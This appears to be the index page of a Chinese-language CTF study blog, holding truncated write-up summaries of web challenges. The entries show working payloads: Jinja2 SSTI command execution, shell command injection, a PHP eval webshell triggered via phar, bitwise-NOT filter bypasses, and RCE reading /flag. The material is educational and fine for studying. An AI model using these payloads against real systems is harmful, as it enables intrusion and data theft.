学习记录24-9-13
[DASCTF]Truman一些知识点:jinja2与twig在处理数字与字符相乘时的不同,在jinja2中{{7*'7'}}会重复字符串,而在twig中无法使用{{7*'7'}}来进行字符串的重复
在本题测试框输入49可以发现输出了7个7,说明是jinja2模板
关于jinja2的一些payload构造知识:
lipusum:flask的一个方法,在其下的lipsum.__gloabals__含有os模块
popen函数:调用fork()产生子进程,并执行shell运行命令
{{lipsum.__globals__['os'].popen('ls').read()}}这样一个注入调用os模块,执行了ls命令并read读取
attr绕过点号:jinja2的attr()获取对象的属性,用attr绕过点号的语法例:
1{{lipsum|attr('__globals__')|attr('__getitem__') ...
ssti学习
DASCTF八月挑战赛-Trumanjinja2与twig在处理数字与字符相乘时的不同,在jinja2中{{7*'7'}}会重复字符串,而在twig中无法使用{{7*'7'}}来进行字符串的重复
在本题测试框输入49可以发现输出了7个7,说明是jinja2模板
关于jinja2的一些payload构造知识:
lipusum:flask的一个方法,在其下的lipsum.__gloabals__含有os模块
popen函数:调用fork()产生子进程,并执行shell运行命令
{{lipsum.__globals__['os'].popen('ls').read()}}这样一个注入调用os模块,执行了ls命令并read读取
attr绕过点号:jinja2的attr()获取对象的属性,用attr绕过点号的语法例:
1{{lipsum|attr('__globals__')|attr('__getitem__')(& ...
学习记录8-14
[SWPUCTF 2023 秋季新生赛]Pingpingping记一个小知识点
rce,php中[会被解析为_,get中不能用这个字符,用[代替
payload:
1?Ping[ip.exe=127.0.0.1;cat /f*
[GKCTF 2020]CheckIN源码:
1234567891011121314151617181920<title>Check_In</title><?php highlight_file(__FILE__);class ClassName{ public $code = null; public $decode = null; function __construct() { $this->code = @$this->x()['Ginkgo']; $this->decode = @base64_decode( $this->code ); ...
刷题记录week5
[SWPUCTF 2022 新生赛]numgame
上调到18时会自动降到-20
设置了一个小障碍,ctrl+u阅读不了源代码,手动view-source
在js下发现一些有用信息,首先是js获取输入框,达到18时会返回-20,然后是下边base64编码解码后为NsScTf.php,尝试访问
给了个hint,与get相似的请求协议是post,包含了hint2.php,下面对传入的参数p进行过滤,黑名单是n,c两个字母,下面有一个比较重要的函数call_user_func
ctf是静态类,回调函数的时候可以使用双冒号运算符
call_user_func(class::function)像这样,本题回调get访问的p,所以在get中写p=类::方法即可
看hint2的提示
源码显示的只有一个类,先尝试get访问
payload:url?p=Nss2::Ctf
发现给出了flag
第一个hint中提示post,则需要数组传参p[]=nss2&p[]=ctf,同样可以获取flag
[suctf 2019]EasySQL堆叠注入:将多条语 ...
无题
[NISACTF 2022]bingdundun~
首页f12发现bingdundun参数且提示flag当前目录下
文件上传题目,编个木马
1234567<?phpphpinfo();@eval ($_POST['a']);?>
打成压缩包,传过去,发现路径为16fc268ba341d3f222aaecc1b5efe6ea.zip
回到首页,利用phar协议读取,payload:
1?bingdundun=phar://16fc268ba341d3f222aaecc1b5efe6ea.zip/a
可以发现触发了phpinfo
antsword链接,根目录下发现flag
[RoarCTF 2019]Easy JavaWEB-INF泄露
打开可以看到登录框,但是其实即使爆破后登录成功也不会给flag
点进help看看,发现java.io.FileNotFoundException:{help.docx}
尝试Download读取
发现可以下载,但是help内不含flag
尝试下载/WEB-INF/web.xml
在web. ...
无题
[ISITDTU 2019]EasyPHP
正则过滤了从0x00到空格,数字,单引号双引号反引号,$,&,.,字母d、e、f、g、o、p、s以及DEL字符,t第二个if限定只能使用13个不同字符不然就不行
先用取反绕过查看一下phpinfo
?_=(~%8F%97%8F%96%91%99%90)();
这里是禁止的函数,禁止了system和exec,那就没办法直接ls看文件路径了
print_r(scandir(‘.’)); 使用这个语句,继续取反尝试
1234567<?phpecho urlencode(~"print_r");echo "<br>";echo urlencode(~'scandir');echo "<br>";echo urlencode(~".");?>
123%8F%8D%96%91%8B%A0%8D%8C%9C%9E%91%9B%96%8D%D1
1?_=(~%8f%8d%96%91%8b%a0%8d ...
无题
[HNCTF 2022 WEEK3]ez_phar
无题
[SWPUCTF 2021 新生赛]hardrce12345678910111213141516171819202122232425<?phpheader("Content-Type:text/html;charset=utf-8");error_reporting(0);highlight_file(__FILE__);if(isset($_GET['wllm'])){ $wllm = $_GET['wllm']; $blacklist = [' ','\t','\r','\n','\+','\[','\^','\]','\"','\-','\$','\*','\?','\<','\> ...
无题
[极客大挑战 2019]Httpf12,发现有secret.php,手动访问,发现提示不是从xx转过来
修改包:
Referer: https://Sycsecret.buuoj.cn
新任务是浏览器,修改包:
User-Agent: Syclover
说只能本地读取,xxf
X-Forwarded-For: 127.0.0.1
获得flag
[CISCN 2019 初赛]Love Math
限制长度,过滤了一些字符,有白名单,过滤白名单外的函数
贴了给常见数学函数,我们用进制转换就好,由于对c有过滤考虑传入a,b对其进行命令拼接
1c=($_GET[a])($_GET[b])&a=system&b=cat /flag
将其转义
1c=$pi=_GET;&&pi{pi}($$pi{abs})&pi=system&abs=cat /flag
pi{pi}和$$pi{abs}访问了pi下的pi和abs,相当于
1$__GET[a] ($_GET[b])
将_GET转义
1c=$pi=base_c ...
无题
[GWCTF 2019]mypassword
flag应该藏在密码里
注册登录,查看源码
feedback下有黑名单,应该是xss
12345678910111213141516<!-- if(is_array($feedback)){ echo "<script>alert('反馈不合法');</script>"; return false; } $blacklist = ['_','\'','&','\\','#','%','input','script','iframe','host','onload','onerror','srcdoc','location','svg& ...